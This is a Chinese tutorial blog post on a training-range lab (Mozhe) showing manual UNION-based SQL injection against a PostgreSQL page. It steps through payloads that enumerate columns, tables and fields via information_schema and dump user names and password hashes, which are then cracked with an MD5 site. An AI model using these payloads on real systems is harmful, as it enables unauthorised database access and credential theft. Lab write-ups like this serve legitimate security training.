墨者:通过手工解决SQL手工注入漏洞测试(PostgreSQL数据库)

一、SQL手工注入漏洞测试(PostgreSQL数据库)

本文以墨者学院靶场为例,演示PostgreSQL数据库的手工SQL注入全过程。以自己的靶场地址为准:http://124.70.71.251:47767/new_list.php?id=1

二、注入步骤详解(如下指令去掉了id之前的内容)

1. 判断字段数量

sql 复制代码
id=1 order by 5

通过不断递增order by后的数字,当报错时说明超出字段数。本例中order by 5报错,说明字段数小于5。

2. 确定回显位置

sql 复制代码
id=-1 union select null,'null','null',null 

使用null占位,发现第2、3列会回显数据。

3. 获取数据库名称

sql 复制代码
id=-1 union select null,current_database(),'null',null 

使用PostgreSQL的current_database()函数获取当前数据库名。

4. 获取所有表名

sql 复制代码
id=-1 union select null,string_agg(table_name,','),'null',null from information_schema.tables where table_schema='public'

使用string_agg()聚合函数,一次性获取public模式下的所有表名。

5. 获取字段名称

sql 复制代码
id=-1 union select null,string_agg(column_name, ','),'null',null from information_schema.columns where table_schema='public' and table_name='reg_users'

查询reg_users表的所有字段名,用逗号分隔显示。

6. 获取账号密码

sql 复制代码
id=-1 union select null,string_agg(name, ','),string_agg(password, ','),null from reg_users

一次性获取所有用户名和密码,分别显示在第2、3列。

7. MD5解密后,手动登录,获取Key

MD5工具地址:https://www.cmd5.com/

三、关键指令解析

指令/函数 说明 示例
order by 判断查询结果的列数 order by 5
union select 联合查询获取数据 union select 1,2,3
current_database() 获取当前数据库名 select current_database()
information_schema.tables 系统表存储所有表信息 select * from information_schema.tables
information_schema.columns 系统表存储所有列信息 select * from information_schema.columns
string_agg() PostgreSQL的字符串聚合函数 string_agg(name, ',')
table_schema 指定数据库模式(相当于MySQL的database) where table_schema='public'
相关推荐
Teable任意门互动27 分钟前
AI原生开源多维表格有哪些?主流开源多维表格对比解析
数据库·开源·excel·钉钉·飞书·开源软件·ai-native
TDengine (老段)1 小时前
MNode 内部机制深度解析 — SDB、事务引擎与 DDL 处理全链路
大数据·数据库·物联网·时序数据库·iot·tdengine·涛思数据
这个DBA有点耶1 小时前
数据库上云 vs 自建:从成本到人力的三维对比与决策框架
数据库·经验分享·sql·创业创新·dba
shizhan_cloud1 小时前
MySQL 索引优化 + 慢查询日志
数据库·mysql
Drache_long1 小时前
MySQL数据库(故障排除)
数据库·mysql
2303_821287381 小时前
如何清洗SQL输入数据_使用框架内置的ORM处理数据交互
jvm·数据库·python
清风雅雨1 小时前
AI编程:OA流程明细表中多个金额字段由整数改为2位小数
数据库·ai编程
菜鸟上路_lbz1 小时前
sqlserver存储过程查询缓慢锁表分析
数据库·sqlserver
Elastic 中国社区官方博客1 小时前
在 Elasticsearch 中使用利润率与流行度加权来优化电商搜索
大数据·数据库·elasticsearch·搜索引擎·全文检索
van久2 小时前
Day32:项目性能优化(EF Core + 分页 + 全异步)
数据库·oracle·性能优化